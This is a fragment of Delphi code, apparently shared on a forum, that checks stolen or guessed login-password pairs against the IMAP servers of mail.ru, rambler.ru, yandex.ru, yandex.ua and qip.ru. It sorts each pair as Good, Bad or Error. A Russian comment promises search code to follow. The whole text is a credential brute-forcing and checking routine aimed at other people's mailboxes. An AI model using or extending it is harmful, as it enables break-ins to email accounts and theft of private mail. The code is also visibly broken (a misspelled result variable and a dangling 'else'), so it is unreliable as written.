Imap MYRQ

      Brute:=False;
      if Pos(Domain,MailRu)<>0 then
        begin
          IMAP.TargetHost:='imap.mail.ru';
          GoodStr:='successful';
          Brute:=True;
        end;
      if Pos(Domain,RamblerRu)<>0 then
        begin
          IMAP.TargetHost:='imap.rambler.ru';
          GoodStr:='ompleted';
          Brute:=True;
        end;

      if Pos(Domain,YandexRu)<>0 then
        begin
          IMAP.TargetHost:='imap.yandex.ru';
          GoodStr:='ompleted';
          Login:=Copy(Login, 1, Pos('@',Login)-1);
          Brute:=True;
        end;
      if Pos(Domain,YandexUa)<>0 then
        begin
          IMAP.TargetHost:='imap.yandex.ua';
          Login:=Copy(Login, 1, Pos('@',Login)-1);
          GoodStr:='ompleted';
          Brute:=True;
        end;
      if Pos(Domain, QipRu)<>0 then
        begin
          GoodStr:='ompleted';
          IMAP.TargetHost:='imap.qip.ru';
          Brute:=True;
        end;
      IMAP.UserName:=Login;
      IMAP.Password:=Password;
      if Brute then
      begin
      try
       Imap.Login;
       if Pos(GoodStr,Imap.ResultString)<>0 then
        begin
            Res:=Good;
            //И ща скину код для поиска если найду в сраче
        end else
        begin
          Res:=Bad;
        end;
      except
        Res:=Error;
      end;
      else Rez:=BadDomain;